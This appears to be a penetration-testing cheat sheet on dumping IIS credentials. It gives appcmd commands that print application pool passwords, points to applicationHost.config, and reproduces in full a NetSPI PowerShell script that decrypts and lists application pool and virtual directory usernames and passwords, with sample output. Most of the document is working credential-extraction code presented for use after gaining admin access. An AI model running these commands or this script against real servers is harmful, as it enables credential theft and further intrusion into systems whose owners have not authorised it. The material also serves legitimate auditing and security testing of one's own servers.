Open cmd with admin privileges.

%systemroot%\system32\inetsrv\appcmd list apppool "Site_App_Pool" /text:*
or
%systemroot%\system32\inetsrv\appcmd list apppool "Site_App_Pool" /text:processmodel.password
Also we can check config file that located by default:
C:\Windows\System32\inetsrv\Config\applicationHost.config
Powershell script to retrieve passwords
function Get-ApplicationHost
{
# Author: Scott Sutherland - 2014, NetSPI
# Version: Get-ApplicationHost v1.0
<#
.SYNOPSIS
This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
.DESCRIPTION
This script will decrypt and recover application pool and virtual directory passwords
from the applicationHost.config file on the system. The output supports the
pipeline which can be used to convert all of the results into a pretty table by piping
to format-table.
.EXAMPLE
Return application pool and virtual directory passwords from the applicationHost.config on the system.
PS C:\>get-applicationhost.ps1
user : PoolUser1
pass : PoolParty1!
type : Application Pool
vdir : NA
apppool : ApplicationPool1
user : PoolUser2
pass : PoolParty2!
type : Application Pool
vdir : NA
apppool : ApplicationPool2
user : VdirUser1
pass : VdirPassword1!
type : Virtual Directory
vdir : site1/vdir1/
apppool : NA
user : VdirUser2
pass : VdirPassword2!
type : Virtual Directory
vdir : site2/
apppool : NA
.EXAMPLE
Return a list of cleartext and decrypted connect strings from web.config files.
PS C:\>get-applicationhost.ps1 | Format-Table -Autosize
user pass type vdir apppool
---- ---- ---- ---- -------
PoolUser1 PoolParty1! Application Pool NA ApplicationPool1
PoolUser2 PoolParty2! Application Pool NA ApplicationPool2
VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA
VdirUser2 VdirPassword2! Virtual Directory site2/ NA
.LINK
New Home
https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
#>
# Check if appcmd.exe exists
if (Test-Path ("c:\windows\system32\inetsrv\appcmd.exe"))
{
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$DataTable.Columns.Add("user") | Out-Null
$DataTable.Columns.Add("pass") | Out-Null
$DataTable.Columns.Add("type") | Out-Null
$DataTable.Columns.Add("vdir") | Out-Null
$DataTable.Columns.Add("apppool") | Out-Null
# Get list of application pools
c:\windows\system32\inetsrv\appcmd.exe list apppools /text:name |
foreach {
#Get application pool name
$PoolName = $_
#Get username
$PoolUserCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.username'
$PoolUser = invoke-expression $PoolUserCmd
#Get password
$PoolPasswordCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.password'
$PoolPassword = invoke-expression $PoolPasswordCmd
#Check if credentials exists
IF ($PoolPassword -ne "")
{
#Add credentials to database
$DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) | Out-Null
}
}
# Get list of virtual directories
c:\windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name |
foreach {
#Get Virtual Directory Name
$VdirName = $_
#Get username
$VdirUserCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:userName'
$VdirUser = invoke-expression $VdirUserCmd
#Get password
$VdirPasswordCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:password'
$VdirPassword = invoke-expression $VdirPasswordCmd
#Check if credentials exists
IF ($VdirPassword -ne "")
{
#Add credentials to database
$DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') | Out-Null
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 )
{
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | select user,pass,type,vdir,apppool -Unique
}else{
# Status user
Write-Error "No application pool or virtual directory passwords were found."
}
}else{
Write-Error "Appcmd.exe does not exist in the default location."
}
}
Get-ApplicationHost